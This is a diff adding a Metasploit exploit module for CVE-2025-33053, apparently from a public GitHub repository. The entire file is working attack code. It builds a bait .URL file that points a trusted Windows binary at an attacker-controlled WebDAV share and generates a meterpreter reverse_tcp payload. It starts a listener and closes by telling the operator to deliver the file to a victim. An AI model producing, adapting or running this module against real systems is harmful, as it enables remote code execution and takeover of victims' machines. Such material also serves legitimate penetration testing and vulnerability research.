|
| 1 | +require 'msf/core' |
| 2 | +require 'fileutils' |
| 3 | + |
| 4 | +class MetasploitModule < Msf::Exploit::Remote |
| 5 | + Rank = NormalRanking |
| 6 | + |
| 7 | + def initialize(info = {}) |
| 8 | + super(update_info(info, |
| 9 | + 'Name' => 'CVE-2025-33053 Exploit via Malicious .URL File and WebDAV', |
| 10 | + 'Description' => %q{ |
| 11 | + This module creates a malicious .URL file that abuses CVE-2025-33053, |
| 12 | + optionally sets up a WebDAV server, generates a payload, places it into |
| 13 | + the WebDAV directory, and can launch a listener automatically. |
| 14 | + }, |
| 15 | + 'Author' => ['Dev Bui Hieu'], |
| 16 | + 'License' => MSF_LICENSE, |
| 17 | + 'DisclosureDate' => '2025-06-11', |
| 18 | + 'References' => [ |
| 19 | + ['CVE', '2025-33053'], |
| 20 | + ['URL', 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept'] |
| 21 | + ] |
| 22 | + )) |
| 23 | + |
| 24 | + register_options( |
| 25 | + [ |
| 26 | + OptString.new('LHOST', [true, 'Local host for reverse connection']), |
| 27 | + OptInt.new('LPORT', [true, 'Local port for reverse connection', 4444]), |
| 28 | + OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']), |
| 29 | + OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]), |
| 30 | + OptBool.new('START_LISTENER', [true, 'Start handler after setup', true]), |
| 31 | + OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav']), |
| 32 | + OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']), |
| 33 | + OptString.new('LOLBAS_EXE', [true, 'Path to trusted binary (LOLBAS)', 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe']), |
| 34 | + OptString.new('ICON_PATH', [true, 'Icon file path', 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe']), |
| 35 | + OptInt.new('ICON_INDEX', [true, 'Icon index in icon file', 13]), |
| 36 | + OptString.new('MODIFIED_HEX', [true, 'Modified timestamp in hex', '20F06BA06D07BD014D']) |
| 37 | + ] |
| 38 | + ) |
| 39 | + end |
| 40 | + |
| 41 | + def run |
| 42 | + lhost = datastore['LHOST'] |
| 43 | + lport = datastore['LPORT'] |
| 44 | + payload_type = datastore['PAYLOAD'] |
| 45 | + webdav_dir = datastore['WEBDAV_DIR'] |
| 46 | + gen_payload = datastore['GEN_PAYLOAD'] |
| 47 | + start_listener = datastore['START_LISTENER'] |
| 48 | + |
| 49 | + print_status("Creating WebDAV directory if not exists...") |
| 50 | + FileUtils.mkdir_p(webdav_dir) unless File.directory?(webdav_dir) |
| 51 | + |
| 52 | + if gen_payload |
| 53 | + exe_path = File.join(webdav_dir, 'payload.exe') |
| 54 | + print_good("Generating payload at: #{exe_path}") |
| 55 | + generate_payload_exe(payload_type, lhost, lport, exe_path) |
| 56 | + end |
| 57 | + |
| 58 | + unc_path = "\\\\#{lhost}\\#{File.basename(webdav_dir)}\\" |
| 59 | + url_content = <<~EOF |
| 60 | + [InternetShortcut] |
| 61 | + URL=#{datastore['LOLBAS_EXE']} |
| 62 | + WorkingDirectory=#{unc_path} |
| 63 | + ShowCommand=7 |
| 64 | + IconIndex=#{datastore['ICON_INDEX']} |
| 65 | + IconFile=#{datastore['ICON_PATH']} |
| 66 | + Modified=#{datastore['MODIFIED_HEX']} |
| 67 | + EOF |
| 68 | + |
| 69 | + url_file = File.join(Msf::Config.local_directory, datastore['OUTFILE']) |
| 70 | + File.write(url_file, url_content) |
| 71 | + print_good(".URL file written to: #{url_file}") |
| 72 | + |
| 73 | + if start_listener |
| 74 | + print_status("Starting handler as background job...") |
| 75 | + handler = framework.exploits.create('multi/handler') |
| 76 | + handler.datastore['PAYLOAD'] = payload_type |
| 77 | + handler.datastore['LHOST'] = lhost |
| 78 | + handler.datastore['LPORT'] = lport |
| 79 | + handler.exploit_simple('RunAsJob' => true) |
| 80 | + end |
| 81 | + |
| 82 | + print_status("Module complete. Deliver #{url_file} to victim.") |
| 83 | + end |
| 84 | + |
| 85 | + def generate_payload_exe(payload, lhost, lport, output_path) |
| 86 | + exe = framework.payloads.create(payload) |
| 87 | + exe.datastore['LHOST'] = lhost |
| 88 | + exe.datastore['LPORT'] = lport |
| 89 | + raw = exe.generate |
| 90 | + exe_file = Rex::Text.to_win32pe(raw, exe.arch) |
| 91 | + File.open(output_path, 'wb') { |f| f.write(exe_file) } |
| 92 | + end |
| 93 | +end |
0 commit comments